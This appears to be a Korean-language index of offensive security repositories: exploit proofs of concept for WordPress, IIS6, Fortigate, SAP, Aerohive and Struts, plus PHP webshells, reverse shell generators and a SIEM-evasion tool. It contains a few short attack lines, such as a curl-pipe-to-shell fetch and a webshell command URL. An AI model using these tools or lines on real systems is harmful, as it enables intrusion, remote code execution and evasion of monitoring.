ruler

소개 Ruler는 MAPI/HTTP 또는 RPC/HTTP 프로토콜을 통해 원격으로 Exchange 서버와 상호 작용할 수 있는 도구입니다. 주요 목표는 클라이언트 측 Outlook 기능을 악용하여 원격에서 셸을 획득하는 것입니다. Ruler가 어떻게 구현되었는지, 그리고 MAPI에 대한 배경 정보에 대한 자세한 내용은 블로그 게시물에서 확인할 수 있습니다: Ruler 릴리스 Ruler로 Pass the Hash Outlook 양식 및 셸 Outlook 홈 페이지 – 또 다른 Ruler 벡터 작동 데모: YouTube의 Rule...

CVE-2025-28915

CVE-2025-28915 취약점 설명: WordPress는 PHP 언어로 개발된 블로그 플랫폼으로, PHP 및 MySQL 서버에서 개인 블로그 웹사이트를 구축할 수 있도록 지원합니다. WordPress ThemeEgg ToolKit 1.2.9 및 이전 버전에는 코드 문제 취약점이 존재하며, 이 취약점은 위험한 유형의 파일 업로드를 허용하여 Web Shell을 업로드할 수 있습니다. 환경 구축: docker pull wordpress 이전 플러그인:...

Fastgate

TLDR 이는 Fastweb의 Fastgate 모뎀/라우터와 Ghidra를 가지고 놀다 발견한 취약점CVE-2019-12489에 대한 간략한 보고서입니다. 이 취약점은 HTTP 요청을 통한 명령 주입 실행을 허용하며, SSH 셸을 활성화하는 데 사용될 수 있습니다. 펌웨어 수집 및 추출 모든 펌웨어 파일은 http://59.0.121.191:8080/ACS-server/file/FILENAME 에 있습니다. 여기서 FILENAME은 다음과 같습니다: 0.00.89FW200Askey 0.00.81FW200Askey...

CVE-2017-7269

KO GenWebDavIISExploit 은 IIS6의 WebDAV 구성 요소에서 알려진 취약점을 이용하는 PoC 도구입니다. 이 도구는 취약점을 통해 원격 서버에서 임의 코드를 실행할 수 있는 방법을 보여주기 위해 교육 및 연구 목적으로 설계되었습니다. 면책 조항 이 프로젝트는 교육 목적으로만 제공됩니다. 이 도구는 책임감 있게 사용해야 하며, 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 컴퓨터 시스템 접근은 불법입니다. 기능 취약한 IIS6 WebDAV 서버에서 원격 코드 실행 사용...

CVE-2021-30461

영향받는 제품 VoIPmonitor 24.60 RCE 방법 python3 CVE-2021-30461.py -t ipaddress 브라우저 셸: http://x.x.x.x/namrlblgel.php?a=whoami 참고 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

webshell-analyzer

웹 셸 분석기 웹 셸 분석기는 웹 셸로 의심되는 파일을 식별, 디코딩 및 태깅하는 목적으로만 제작된 크로스 플랫폼 독립 실행형 바이너리입니다. 웹 셸 분석기는 웹 셸 스캐너 프로젝트http://github.com/tstillz/webshell-scan의 상위 버전으로, 해당 프로젝트는 정규식으로만 파일을 스캔하며 디코딩이나 속성 분석은 수행하지 않습니다. 면책 조항 스캐너에 포함된 정규식과 내장 디코딩 루틴은 디스크에 있는 모든 웹 셸을 찾을 것을 보장하지 않으며 일부 오탐지false positive를 식별할 수 있습니다. 또...

volana

volana 마다가스카르어로 달 사용하기 ; 🌚숨기기 대상; 🌞감지 대상 쉘 명령 난독화로 SIEM/탐지 시스템 회피 침투 테스트 중 중요한 측면은 은밀함stealth 입니다. 따라서 작업 후 흔적을 지워야 합니다. 그러나 많은 인프라는 명령을 기록하고 실시간으로 SIEM에 전송하여 사후 정리만으로는 무용지물이 됩니다. volana는 자체 쉘 런타임을 제공하여 침해된 시스템에서 실행된 명령을 숨기는 간단한 방법을 제공합니다 명령을 입력하면 volana가 실행합니다. 이렇게 하면 작업 중에 흔적을 지울 수 있습니다. 사용법...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 익스플로잇 PoC 사용법 usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 익스플로잇 PoC options: -h, --help 도움말을 표시하고 종료 Targ...

fix-react2shell-next

fix-react2shell-next Next.js / React RSC 앱에서 CVE-2025-66478React 2 Shell RCE을 수정하는 단일 명령어입니다. npx fix-react2shell-next 공식 권고에 따른 결정적 버전 업데이트를 수행합니다. 기능 1. 모든 package.json 파일을 재귀적으로 스캔 합니다모노레포 지원. 2. 다음 항목의 취약한 버전을 확인 합니다: next react-server-dom-webpack react-server-dom-parcel...

b374k

b374k 쉘 3.2 이 PHP 쉘은 시스템 또는 웹 관리자가 cpanel, ssh, ftp 등을 사용하지 않고 원격 관리를 수행할 수 있는 유용한 도구입니다. 모든 작업은 웹 브라우저 내에서 이루어집니다. 기능: 파일 관리자 보기, 편집, 이름 변경, 삭제, 업로드, 다운로드, 압축 등 파일, 파일 내용, 폴더 검색 정규식 사용 가능 명령 실행 스크립트 실행 php, perl, python, ruby, java, node.js, c 바인드/리버스 쉘 연결을 통한 쉘 제공 간단한 패킷 크래프터 DBMS 연결 mysql,...

MemShellParty

MemShellParty 中文 | English !WARNING 본 도구는 보안 연구원, 네트워크 관리자 및 관련 기술자가 승인된 보안 테스트, 취약점 평가 및 보안 감사 작업에만 사용하도록 제공됩니다. 본 도구를 사용하여 승인되지 않은 네트워크 공격이나 침투 테스트 등의 행위는 불법이며, 사용자는 이에 따른 법적 책임을 스스로 부담해야 합니다. !TIP 저는 보안 제품 개발자일 뿐 실전 경험이 없으므로, 사용 또는 구현에 관련된 문의나 호환 요청이 있으면 issue를 제기하거나 TG 교류 그룹에 참여해 주시기 바랍니다. 함께...

CVE-2021-44168

CVE-2021-44168 익스플로잇 목적 CVE-2021-44168을 익스플로잇하여 Fortigate 방화벽에 셸을 드롭하고, Fortigate의 일부 CLI 명령어 실행 시 작동하는 LDPRELOAD 트릭을 통해 접근을 활성화합니다. 루트 셸을 얻습니다. 사용법 컴파일: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 실행: % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.img -t 테스트 패키지 생성 -p 익스플로잇 패키지 ...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP 익스플로잇 POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type: multipart/form-data...

CVE-2023-35803

CVE-2023-35803 - Extreme Networks/Aerohive 무선 액세스 포인트에서의 인증되지 않은 RCE HiveOS/IQ Engine "curl :8000/revshell|sh" 라이트업: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

ICG-AutoExploiterBoT

ICG-AutoExploiterBoT ❗ 44번째 줄 편집: Joomla 익스플로잇 관리자 추가를 위한 이메일 주소 입력 outlook.com 메일 사용! ✔️ :warning:참고! : 불법적인 사용에 대한 책임을 지지 않습니다. AutoExploiter는 현재 작동하지 않습니다! 업데이트를 기다려 주세요! AutoExploiter는 현재 작동하지 않습니다! 업데이트를 기다려 주세요! AutoExploiter는 현재 작동하지 않습니다! 업데이트를 기다려 주세요! - Python 2.7 버전에서만 작동 무료 침투 테스트 도구...

CVE-2025-65817

CVE-2025-65817 フィールド| 値 ---|--- タイトル| 脆弱性レポート: LSCスマートコネクトカメラ 日付| 2024-02-15 説明| SDカードの更新フックを悪用して、LSCスマートコネクトカメラ上でリモートシェルを起動する。 タグ| iot, vulnerability, cve ファームウェア| 1.14.13 LSCスマートコネクトカメラの脆弱性レポート 発見された脆弱性は、startapp.sh の更新システムを悪用するものであり、より正確にはSDカードのマウントと update.nor.sh ファイルを介して悪用されます。 設定変数 routines...

rsg

리버스 셸 생성기 - rsg 다양한 방법으로 리버스 셸을 생성하는 도구 사용 예시 리버스 셸 참고 자료 http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

rsg

Reverse Shell Generator - rsg A tool to generate various ways to do a reverse shell Usage example Reverse Shell fonts http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

CVE-2024-41570

CVE-2024-41570 | Havoc C2 SSRF를 통한 RCE | WebSocket을 통한 자동화된 리버스 셸 익스플로잇 이 프로젝트는 취약한 WebSocket 기반 서비스를 익스플로잇하기 위한 Python 기반 개념 증명PoC 스크립트를 제공합니다. 이 스크립트는 에이전트 등록, WebSocket 페이로드 전달 및 원격 명령 실행을 자동화하여 리버스 셸을 설정합니다. Features 대상 서비스에 에이전트를 등록합니다. WebSocket을 열고 핸드셰이크 및 인증 페이로드를 전송합니다. 리버스 셸을 통해 원격으로 명령...

Apache-Struts-v4

Apache-Struts-v4 이 스크립트는 Apache Struts에서 RCE 유형의 취약점을 악용하는 5가지 서로 다른 취약점을 포함합니다. 현재로서는 PHP 셸을 생성하는 기능만 포함되어 있습니다. CVE 추가 CVE ID| 설명 ---|--- CVE-2013-2251| Apache Struts 2.0.0부터 2.3.15까지는 원격 공격자가 조작된 1 action:, 2 redirect:, 3 redirectAction: 접두사가 있는 매개변수를 통해 임의의 OGNL 표현식을 실행할 수 있습니다. CVE-2017-5638...